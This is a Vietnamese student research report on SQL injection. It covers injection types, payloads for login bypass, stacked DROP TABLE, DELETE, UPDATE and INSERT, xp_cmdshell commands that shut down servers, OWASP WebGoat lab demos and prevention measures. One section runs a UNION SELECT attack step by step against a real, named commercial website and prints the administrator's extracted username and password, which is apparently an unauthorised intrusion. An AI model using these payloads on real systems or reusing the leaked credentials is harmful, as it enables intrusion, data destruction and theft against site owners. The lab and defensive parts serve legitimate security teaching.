You are on page 1of 19

Học Viện Công Nghệ Bưu Chính Viễn Thông

KHOA CÔNG NGHỆ THÔNG TIN 1

BÁO CÁO NGHIÊN CỨU


Đề tài: Tìm hiểu về các dạng tấn công SQL Injection. Xây dựng và demo các kịch bản
tấn công SQL Injection cho phép vượt qua khâu đăng nhập, thêm, sửa, xóa và đánh
cắp dữ liệu.

GVHD : T.S Hoàng Xuân Dậu


Bộ môn : Cơ sở An toàn thông tin
Số điện thoại : 0904534390

Lớp D19AT-02_Nhóm G01

Sinh viên : Nguyễn Lê Đức Anh - B19DCAT006


Sinh viên : Nguyễn Phương Anh - B19DCAT007
Sinh viên : Lê Chí Công - B19DCAT014
Sinh viên: Trần Hữu Cương - B19DCAT017
Sinh Viên: Bùi Kim Cường - B19DCAT018
Sinh Viên: Lã Mạnh Cường - B19DCAT019

Hà Nội - 2021
1. Giới thiệu tổng quan về tấn công tiêm nhiễm SQL injection.

 Khái niệm về tấn công tiên nhiễm SQL injection


Tiêm nhiễm SQL (còn gọi là SQL Injection) không còn là khái niệm quá mới,
nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Tấn công tiêm
nhiễm SQL là một kỹ thuật tấn công vào hệ thống cơ sở dữ liệu của ứng dụng (web,
mobile hoặc desktop …) thông qua việc kẻ tấn công lợi dụng lỗ hổng để tiến hành
tiêm nhiễm mã độc vào câu truy vấn SQL và thi hành các câu lệnh SQL bất hợp pháp
trên cơ sở dữ liệu (CSDL) đằng sau ứng dụng.

 Các dạng tấn công SQL injection thường gặp:


- Tùy vào mức độ tinh vi, SQL Injection có thể cho phép kẻ tấn công:
 + Vượt qua các khâu xác thực người dùng
 + Chèn, xóa hoặc sửa đổi dữ liệu
 + Đánh cắp các thông tin trong CSDL
 + Chiếm quyền điều khiển hệ thống

 Phương pháp SQL Injection:


+ đưa vào thông qua đầu vào của người dùng.
+ Chèn thông qua các trường cookie chứa các chuỗi tấn công
+ Chèn thông qua các biến máy chủ.
+ Second-Order Injection nơi các câu lệnh ẩn sẽ được thực thi vào một thời điểm
khác bởi một hàm khác.

 Quy trình tấn công tiêm nhiễm:


Bước 1: Kẻ tấn công dò quét lỗ hổng của ứng dụng web. Khi phát hiện lỗ
hổng, hắn tiến hành tiêm nhiễm chuỗi ký tự độc hại, gửi đến CSDL thông qua ứng
dụng web.
Bước 2: Máy chủ web tiếp nhận truy vấn tiêm nhiễm và gửi nó đến máy
chủ ứng dụng web (Application server).
Bước 3: Tại máy chủ ứng dụng web, truy vấn tiêm nhiễm sẽ tiếp tục đượcchấp nhận
do kẻ tấn công đã khai thác lỗ hổng của chính ứng dụng web. Nó tiếp tục được gửi
đến máy chủ CSDL (Database server).
Bước 4: Tại máy chủ CSDL, truy vấn tiêm nhiễm được thực thi. Dữ liệu
chứa thông tin nhạy cảm của người dùng sẽ được trả về và hiển thị trên ứng dụng
web.
Bước 5: Kẻ tấn công nhận được thông tin nhạy cảm. Sau đó, kẻ tấn công
tiếp tục thực hiện các tấn công tiêm nhiễm SQL khác.

Sau khi thực hiện tấn công tiêm nhiễm CSDL, kẻ tấn công đã thu thập được thông
tin nhạy cảm của người dùng hợp lệ như User ID, Password,… Kẻ tấn công có thể sử
dụng chính những thông tin này để thực hiện các cuộc tấn công khác như leo thang,
chiếm quyền điều khiển máy chủ CSDL.
2. Các điểm yếu, lỗ hổng và các dạng tấn công SQL injection
2.1 Các điểm yếu, lỗ hổng SQL injection

Theo như kinh nghiệm của những người quản trị Website qua nhiều năm làm việc và
tích lũy thì những phần sau đây là những phần dễ bị tấn công. Các bộ phận dễ bị
tấn công bao gồm:
 Form đăng nhập
 Form tìm kiếm
 Form nhận xét
 Bất kỳ trường nhập và lưu dữ liệu nào khác
 Các liên kết của trang web
Có một quy tắc đơn giản để xác định các lỗ hổng SQL injection: Kích hoạt sự bất
thường bằng cách gửi dữ liệu không mong muốn. Quy tắc này ngụ ý rằng:
 Xác định tất cả các mục nhập dữ liệu trên ứng dụng Web.
 Biết loại yêu cầu nào có thể gây ra sự bất thường.
 Phát hiện sự bất thường trong phản hồi từ máy chủ.
Trước tiên,cần xem cách trình duyệt Web của bạn gửi yêu cầu đến Máy chủ web. Các
ứng dụng khác nhau hoạt động theo những cách khác nhau, nhưng các nguyên tắc cơ
bản phải giống nhau, vì chúng đều là môi trường dựa trên Web.
Khi bạn xác định được tất cả dữ liệu được ứng dụng chấp nhận, bạn cần sửa đổi dữ
liệu đó và phân tích phản hồi từ máy chủ. Đôi khi phản hồi sẽ bao gồm lỗi SQL trực
tiếp từ cơ sở dữ liệu và sẽ làm cho cuộc sống của bạn rất dễ dàng; tuy nhiên, những
lần khác bạn sẽ cần duy trì sự tập trung và phát hiện những khác biệt tinh tế.
Có 2 nguyên nhân chính của lỗ hổng trong ứng dụng cho phép thực hiện tấn công
chèn mã SQL là:
 Dữ liệu đầu vào từ người dùng hoặc từ các nguồn khác không được kiểm tra
hoặc kiểm tra không kỹ lưỡng
 Sử dụng các câu lệnh SQL động trong ứng dụng, trong đó có thao tác nối dữ
liệu người dùng với mã lệnh SQL gốc.

2.1.1 Không kiểm tra ký tự thoát truy vấn.


Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào
trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn
không mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi
này statement ="SELECT * FROM users WHERE name = '"+userName +"';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng
những người dùng. Tuy nhiên, nếu biến "userName" được nhập chính xác theo một
cách nào đó bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục
đích khác hẳn so với mong muốn của tác giả đoạn mã trên. Ví dụ, ta nhập vào giá trị
của biến userName như sau: a' or 't'='t
Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = a' OR 't'='t
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể
được sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng.
Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với
một lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép
điều đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng
các câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp truy
vấn. Các giá trị của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá
những người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu
được từ bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ
này minh họa bằng một API cho phéo thực hiện nhiều truy vấn cùng lúc.

a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't


Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = 'a' OR 't' = 't' ;

Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể
được sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng.
Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với
một lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép
điều đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng
các câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp tru vấn.
Các giá trị của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những
người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu được từ
bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ này minh
họa bằng một API cho phéo thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a' ;DROP TABLE users;
SELECT * FROM DATA WHERE 't' = 't' ;

2.1.2 Xử lý không đúng kiểu

Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định
nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu
vào.Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL
nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ
liệu mà người dùng nhập vào có phải là số hay không. Ví dụ như sau:

statement := "SELECT * FROM data WHERE id = " + a_variable + ";"

Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào
một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập
vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu
truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của
biến a_variable là:

1;DROP TABLE users


khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì
câu truy vấn hoàn chỉnh đã được hiểu là:

SELECT * FROM DATA WHERE id = 1; DROP TABLE users;

2.1.3 Blind SQL injection

SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu
quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra
sự sai khác
khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công
SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều
thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử
dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được
thiết lập sẵn

2.2 Các dạng tấn công SQL injection thường gặp.


Các cuộc tấn công nhắm tới lớp database của ứng dụng Web xét theo mục đích
được chia làm hai nhánh chính: thứ nhất là nhắm tới dữ liệu chứa trong database thứ
hai là nhắm tới chính bản thân database. Trường hợp thứ nhất thường là kẻ tấn công
nhắm tới các thông tin có giá trị như thông tin cá nhân, thông tin tài chính, … trường
hợp thứ hai thì kẻ tấn công muốn biến database thành cửa ngõ để thâm nhập sâu hơn
vào trong mạng lưới của tổ chức sở hữu ứng dụng Web đang bị tấn công. Chúng ta sẽ
xét một số phương pháp tấn công phục vụ hai mục đích này.

2.2.1 Vượt qua các khâu xác thực người dùng


Với dạng tấn công này, kẻ tấn công có thể dễ dàng vượt qua các trang đăng nhập
nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các
trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người
dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin
vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết
định cho phép hay từ chối thực hiện tiếp.

Xem xét một form đăng nhập (Log in) và đoạn mã xử lý xác thực người dùng
lưu trong bảng cơ sở dữ liệu tbl_accounts(username, password) cho như sau:

Nếu người dùng nhập 'admin' vào trường username và 'abc123' vào trường
password của form, mã xử lý hoạt động đúng: Nếu tồn tại người dùng với username
và password kể trên, hệ thống sẽ cho phép đăng nhập với thông báo đăng nhập thành
công; Nếu không tồn tại người dùng với username và password đã cung cấp, hệ thống
sẽ từ chối đăng nhập và trả lại thông báo lỗi. Tuy nhiên, nếu người dùng nhập aaaa'
OR 1=1-- vào trường username và một chuỗi bất kỳ, chẳng hạn 'aaaa' vào trường
password của form, mã xử lý hoạt động sai và chuỗi chứa câu truy vấn SQL trở thành:
SELECT * FROM tbl_accounts WHERE username='aaaa' OR 1=1--' AND
password='aaaa'
Câu truy vấn sẽ trả về mọi bản ghi trong bảng do thành phần OR 1=1 làm cho điều
kiện trong mệnh đề WHERE trở lên luôn đúng và phần kiểm tra mật khẩu đã bị loại
bỏ bởi ký hiệu (--). Phần lệnh sau ký hiệu (--) được coi là ghi chú và không được thực
hiện. Nếu trong bảng tbl_accounts có chứa ít nhất một bản ghi, kẻ tấn công sẽ luôn
đăng nhập thành công vào hệ thống.
2.2.2 Chèn, sửa đổi, hoặc xóa dữ liệu
Xem xét một form tìm kiếm sản phẩm và đoạn mã xử lý tìm sản phẩm lưu trong
bảng cơ sở dữ liệu tbl_products(product_id, product_name, product_desc,
product_cost) cho như trên.

Nếu người dùng nhập chuỗi "Samsung Galaxy S4" vào trường keyword của form,
mã xử lý hoạt động đúng: Nếu tìm thấy các sản phẩm có tên chứa từ khóa, hệ thống sẽ
hiển thị danh sách các sản phẩm tìm thấy; Nếu không tìm thấy sản phẩm nào có tên
chứa từ khóa, hệ thống thông báo không tìm thấy sản phẩm. Tuy nhiên, nếu người
dùng nhập chuỗi "Samsung Galaxy S4';DELETE FROM tbl_products;--" vào trường
keyword của form, mã xử lý sẽ hoạt động sai và chuỗi chứa câu truy vấn SQL trở
thành:
SELECT * FROM tbl_products WHERE keyword like '%Samsung Galaxy
S4';DELETE FROM tbl_products;--%'
Chuỗi lệnh SQL mới gồm 2 lệnh SQL: câu lệnh SELECT tìm kiếm các sản phẩm
có tên chứa từ khóa "Samsung Galaxy S4" trong bảng tbl_products và câu lệnh
DELETE xóa tất cả các sản phẩm trong bảng tbl_products. Sở dĩ kẻ tấn công có thể
làm được điều này là do hệ quản trị cơ sở dữ liệu MS-SQL server nói riêng và hầu hết
các hệ quản trị cơ sở dữ liệu nói chung cho phép thực hiện nhiều lệnh SQL theo lô và
dùng dấu ; để ngăn cách các lệnh. Ký hiệu -- dùng để hủy tác dụng của phần lệnh còn
lại nếu có.
Bằng thủ thuật tương tự, kẻ tấn công có thể thay lệnh DELETE bằng lệnh
UPDATE hoặc INSERT để chỉnh sửa, hoặc chèn thêm dữ liệu. Chẳng hạn, kẻ tấn
công chèn thêm lệnh UPDATE để cập nhật mật khẩu của người quản trị bằng cách
nhập chuỗi sau làm từ khóa tìm kiếm (giả thiết bảng tbl_administrators chứa thông tin
người quản trị):
Galaxy S4';UPDATE tbl_administrators SET password=abc123 WHERE
username = 'admin';--
Hoặc kẻ tấn công có thể chèn thêm bản ghi vào bảng tbl_administrators bằng
cách nhập chuỗi sau làm từ khóa tìm kiếm:
Galaxy S4';INSERT INTO tbl_administrators (username, password) VALUES
('attacker', 'abc12345');--

2.2.3 Đánh cắp các thông tin trong cơ sở dữ liệu


Lỗ hổng chèn mã SQL có thể giúp kẻ tấn công đánh cắp dữ liệu trong cơ sở dữ liệu
thông qua một số bước như sau:
o Tìm lỗ hổng chèn mã SQL và thăm dò các thông tin về hệ quản trị cơ
sở dữ liệu:
 Nhập một số dữ liệu mẫu để kiểm tra một trang web có chứa lỗ
hổng chèn mã SQL, như các dấu nháy đơn, dấu --,…
 Tìm phiên bản máy chủ cơ sở dữ liệu: nhập các câu lệnh lỗi và
kiểm tra thông báo lỗi, hoặc sử dụng @@version (với MS-SQL
Server), hoặc version() (với MySQL) trong câu lệnh ghép với
UNION SELECT.
o Tìm thông tin về số lượng và kiểu dữ liệu các trường của câu truy vấn
hiện tại của trang web.
 Sử dụng mệnh đề ORDER BY <số thứ tự của trường>
 Sử dụng UNION SELECT 1, 2, 3, …
o Trích xuất thông tin về các bảng, các trường của cơ sở dữ liệu thông
qua các bảng hệ thống (metadata).
o Sử dụng lệnh UNION SELECT để ghép các thông tin định trích xuất
vào câu truy vấn hiện tại của ứng dụng.

2.2.4 Chiếm quyền điều khiển hệ thống máy chủ cơ sở dữ liệu

Khả năng máy chủ cơ sở dữ liệu bị chiếm quyền điều khiển xảy ra khi trang web
tồn tại đồng thời 2 lỗ hổng:
 Lỗ hổng cho phép tấn công chèn mã SQL
 Lỗ hổng thiết lập quyền truy nhập cơ sở dữ liệu – sử dụng người dùng
có quyền quản trị để truy nhập và thao tác dữ liệu của website.
Khai thác 2 lỗ hổng này, kẻ tấn công có thể gọi thực hiện các lệnh hệ thống của
máy chủ cơ sở dữ liệu cho phép can thiệp sâu vào cơ sở dữ liệu, hệ quản trị cơ sở dữ
liệu và cả hệ điều hành nền. Chẳng hạn, hệ quản trị cơ sở dữ liệu MS-SQL Server
cung cấp thủ tục sp_send_dbmail cho phép gửi email từ máy chủ cơ sở dữ liệu và thủ
tục xp_cmdshell cho phép chạy các lệnh và chương trình cài đặt trên hệ điều hành MS
Windows. Sau đây là một số ví dụ chạy các lệnh Microsoft Windows thông qua thủ
tục xp_cmdshell:
 EXEC xp_cmdshell 'dir *.exe' : liệt kê nội dung thư mục hiện thời
 EXEC xp_cmdshell 'shutdown /s /t 00' : tắt máy chủ nền chạy hệ
quản trị CSDL
 EXEC xp_cmdshell 'net stop W3SVC' : dừng hoạt động máy chủ web
 EXEC xp_cmdshell 'net stop MSSQLSERVER' : dừng hoạt động
máy chủ CSDL
Ngoài ra, kẻ tấn công có thể thực hiện các thao tác nguy hiểm đến cơ sở dữ liệu
nếu có quyền của người quản trị cơ sở dữ liệu hoặc quản trị hệ thống, như:
 Xóa cả bảng (gồm cả cấu trúc): DROP TABLE <tên bảng>
 Xóa cả cơ sở dữ liệu: DROP DATABASE <tên CSDL>
 Tạo 1 tài khoản mới truy nhập CSDL: sp_addlogin <username>
<password>
 Đổi mật khẩu tài khoản truy nhập CSDL: sp_password <password>

2.3 Xây dựng demo


2.3.1 Demo tấn công vượt qua kiểm tra đăng nhập

Sử dụng String SQL Injection để bỏ qua xác thực. Sử dụng SQL injection để

đăng nhập với tư cách là admin ('Neville') mà không cần sử dụng mật khẩu chính xác.

Xác minh rằng hồ sơ của Neville có thể được xem và tất cả các chức năng đều có sẵn

(bao gồm Tìm kiếm, Tạo và Xóa).


String SQL :
'select user from employees where employee_id=' + input.employee_id + 'and
password=' + input.password '

Input.pasword = X'OR'1'='1
Đăng nhập thành công

2.3.2 Demo tấn công sử dụng câu lệnh INSERT

Biểu mẫu dưới đây cho phép người dùng xem tiền lương được liên kết với một

USERID (từ bảng có tên là SALARY). Sử dụng SQL Injection để thêm USERID và

SALARY.
String SQL :
jsmith';insert into salaries (userid, salary) values ('PHUONGANH', '100000')--
'or salary is not null;-- (KIỂM TRA KẾT QUẢ)

INSERT thành công


2.3.3 Demo tấn công sử dụng câu lệnh UPDATE.

Biểu mẫu dưới đây cho phép người dùng xem tiền lương được liên kết với một

userid (từ bảng có tên là tiền lương). Biểu mẫu này dễ bị tấn công bởi String SQL

Injection. Sử dụng SQL Injection để sửa đổi mức lương cho userid jsmith.

String SQL :
jsmith';update salaries set salary=9001 where userid='jsmith'--

Update thành công từ 20000 -> 9001

2.3.4 Demo xóa dữ liệu


Cài đặt ứng dụng web thực hành khai thác lỗ hổng OWASP WebGoat:
Chọn bài thực hành thay đổi dữ liệu Injection Flaws -> Modify Data with
SQL Injection:

Mã SQL của biểu mẫu nhập userid: SELECT * FROM salaries WHERE USERID =
‘string input’
Nhập vào chuỗi: jsmith';DROP TABLE salaries;--
SQL query trở thành: SELECT * FROM salaries WHERE USERID =
‘jsmith’;DROP TABLE salaries;--’
Table salaries đã bị xóa.

2.3.5 Demo đánh cắp dữ liệu sử dụng chèn câu lệnh SELECT UNION vào URL
-Trang web thử nghiệm: http://www.nhuaphucthinh.com.vn/
Truy cập vào một sản phẩm trên trang web:
http://www.nhuaphucthinh.com.vn/product.php?id=20
Thêm kí tự ‘ để xem web xử lý truy vấn đã được thêm kí tự ra sao.

Web hiển thị lỗi query từ SQL, vậy trang web có lỗ hổng SQL Injection

Để thực hiện lệnh UNION SELECT(Lệnh kết hợp nhiều lệnh SELECT, ta cần biết số
cột của lệnh truy vấn trước vì câu lệnh SELECT sau cần có số cột đúng bằng câu lệnh
trước
Sử dụng extension Hackbar trên chrome do trên url kí tự khoảng trống “ ” không được
dùng, thay vào đó là cụm mã hóa %20
Nhập vào extension url http://www.nhuaphucthinh.com.vn/product.php?id=20 order
by 10-- và
chọn execute để kiểm tra số cột <= 10

Website hoạt động bình thường, tiếp tục với lệnh “order by 11--” hoạt động bình
thường, với lệnh “order by 12--”, website không hiển thị sản phẩm, vậy số cột của câu
lệnh trước là 11

Nhập url http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select


1,2,version(),4,5,6,7,8,9,10,11 from information_schema.tables where
table_schema=database()--
Trong đó:
-ID của sản phẩm để số âm hoặc null để xem được trường dữ liệu trả về
-Information_schema là tập hợp các dạng chỉ đọc về tất cả các bảng, dạng xem, cột và
thủ tục trong cơ sở dữ liệu.
-Version(): Lấy dữ liệu phiên bản hệ quản trị CSDL
Thực hiện ta có phiên bản hệ quản trị CSDL website là 5.1.68.
Tiếp tục nhập url http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select
1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables
where table_schema=database()-- để lấy tên các bảng trong CSDL
Nhập url
http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from
information_schema.columns where table_name='countries'-- để lấy tên các cột
trong bảng “countries”, ta được tên các cột:
CouID,CouName,CouIsoCode2,CouIsoCode3,CouAddressFormatID, có thể làm
tương tự với các bảng khác.

Nhập url http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select


1,2,group_concat(CouID," ",CouName," ",CouIsoCode2," ",CouIsoCode3,"
",CouAddressFormatID),4,5,6,7,8,9,10,11 from countries-- để lấy dữ liệu từ các cột
của bảng “countries”

Ta cũng có thể tìm thấy username và password của người quản trị trong CSDL:
http://www.nhuaphucthinh.com.vn/product.php?id=-20union
select1,2,group_concat(AdmUsername,’|’,AdmPassword),4,5,6,7,8,9,10,11 from
administrator
Kết quả trả về: duyvuong1979|03091979

2.4 Ứng dụng phòng chống


Do tính chất nguy hiểm của tấn công chèn mã SQL, nhiều giải pháp đã được đề
xuất nhằm hạn chế tác hại và ngăn chặn triệt để dạng tấn công này. Nhìn chung, cần
áp dụng kết hợp các biện pháp phòng chống tấn công chèn mã SQL để đảm bảo an
toàn cho hệ thống. Các biện pháp, kỹ thuật cụ thể có thể áp dụng gồm:
 Các biện pháp phòng chống dựa trên kiểm tra và lọc dữ liệu đầu vào:
+ Kiểm tra tất cả các dữ liệu đầu vào, đặc biệt dữ liệu nhập từ người dùng
và từ các nguồn không tin cậy;
+ Kiểm tra kích thước và định dạng dữ liệu đầu vào;
+ Tạo các bộ lọc để lọc bỏ các ký tự đặc biệt (như *, ‘, =, --) và các từ khóa
của ngôn ngữ SQL (SELECT, INSERT, UPDATE, DELETE, DROP,....)
mà kẻ tấn công có thể sử dụng:
 Sử dụng thủ tục cơ sở dữ liệu (stored procedures) và cơ chế tham số hóa dữ liệu:
+ Đưa tất cả các câu truy vấn (SELECT) và cập nhật, sửa, xóa dữ liệu
(INSERT, UPDATE, DELETE) vào các thủ tục. Dữ liệu truyền vào thủ
tục thông qua các tham số, giúp tách dữ liệu khỏi mã lệnh SQL, nhờ đó
hạn ngăn chặn hiệu quả tấn công chèn mã SQL;
+ Hạn chế thực hiện các câu lệnh SQL động trong thủ tục;
+ Sử dụng cơ chế tham số hóa dữ liệu hỗ trợ bởi nhiều ngôn ngữ lập trình
web như ASP.NET, PHP và JSP.
 Các biện pháp phòng chống dựa trên thiết lập quyền truy nhập người dùng cơ sở
dữ liệu:
+ Không sử dụng người dùng có quyền quản trị hệ thống hoặc quản trị cơ
sở dữ liệu làm người dùng truy cập dữ liệu. Ví dụ: không dùng người
dùng sa (Microsoft SQL) hoặc root (MySQL) làm người dùng truy cập
dữ liệu. Chỉ dùng các người dùng này cho mục đích quản trị.
+ Chia nhóm người dùng, chỉ cấp quyền vừa đủ để truy cập các bảng biểu,
thực hiện câu truy vấn và chạy các thủ tục.
+ Tốt nhất, không cấp quyền thực hiện các câu truy vấn, cập nhật, sửa, xóa
trực tiếp trên các bảng dữ liệu. Thủ tục hóa tất cả các câu lệnh và chỉ cấp
quyền thực hiện thủ tục
+ Cấm hoặc vô hiệu hóa (disable) việc thực hiện các thủ tục hệ thống (các
thủ tục cơ sở dữ liệu có sẵn) cho phép can thiệp vào hệ quản trị cơ sở dữ
liệu và hệ điều hành nền.
 Sử dụng các công cụ rà quét lỗ hổng chèn mã SQL, như SQLMap, hoặc Acunetix
Vulnerability Scanner để chủ động rà quét, tìm các lỗ hổng chèn mã SQL và có
biện pháp khắc phục phù hợp.

3. Kết luận.
Báo cáo nghiên cứu đã nêu lên một cách tổng thể về tấn công tiêm nhiễm SQL
ịnection, các loại tấn công, demo và một số phương pháp phát hiện, ngăn chặn. Tiêm
nhiễm SQL (còn gọi là SQL Injection) không còn là khái niệm quá mới, nhưng nó vẫn
là một trong những kiểu tấn công mạng khá phổ biến. Tấn công tiêm nhiễm SQL là
một kỹ thuật tấn công vào hệ thống cơ sở dữ liệu của ứng dụng (web, mobile hoặc
desktop …) thông qua việc kẻ tấn công lợi dụng lỗ hổng để tiến hành tiêm nhiễm mã
độc vào câu truy vấn SQL và thi hành các câu lệnh SQL bất hợp pháp trên cơ sở dữ
liệu đằng sau ứng dụng web.
Tấn công tiêm nhiễm SQL vô cùng nguy hiểm vì kẻ tấn công không chỉ có thể ăn
cắp được dữ liệu chứa thông tin nhạy cảm mà chúng còn có thể thay đổi dữ liệu, thậm
chí là kiểm soát cả máy chủ mà CSDL đang chạy. Tấn công tiêm nhiễm SQL xảy ra
trên các hệ quản trị CSDL quan hệ như MySQL, MS SQL, DB2, Oracle… với bốn
dạng tấn côn SQL injection chính là:
+ Vượt qua các khâu xác thực người dùng
 + Chèn, xóa hoặc sửa đổi dữ liệu
 + Đánh cắp các thông tin trong CSDL
 + Chiếm quyền điều khiển hệ thống
Trong phần báo cáo nghiên cứu cũng đưa ra một số demo tấn công SQL injection
cho phép vượt qua khâu đăng nhập, thêm, sửa, xóa và đánh cắp dữ liệu. Đồng thời
đưa ra các phương pháp ứng dựng phòng chống tấn công SQL injection hữu hiệu...

4. Tài Liệu Tham Khảo


 Bài giảng cơ sở an toàn thông tin – Hoàng Xuân Dậu – Nguyễn Thị Thanh
Thủy – Học Viện Công Nghệ Bưu Chính Viễn Thông
 Tấn công kiểu SQL Injection-Tác hại và phòng tránh - Lê Đình Duy –
KhoaCNTT - Trường ĐH Khoa Học Tự Nhiên TP.HCM
 SQL Injection-Are you web Applications vulnerable. Author Kevin Spett
 An Introduction to SQL Injection Attacks For Oracle Developers.Author
StephenKost
 Luận văn Thạc sĩ của Trần Quang Trung ĐHCN-ĐHQGHN

Links một số tài liệu và web tham khảo khác:

 https://123docz.net/document/2596036-tim-hieu-tan-cong-sql-injection-
trong-oracle-ppt.htm
 https://www.acunetix.com/websitesecurity/sql-injection/
 https://www.tutorialspoint.com/sql/index.htm
 https://fallensnow-jack.blogspot.com/2011/08/webgoat-modify-data-with-sql-
injection.html
 https://www.youtube.com/watch?v=tmPIW-Zrjo8
 https://viblo.asia/p/ky-thuat-tan-cong-sql-injection-jamoG89ovz8P
 https://portswigger.net/web-security/sql-injection/union-attacks

You might also like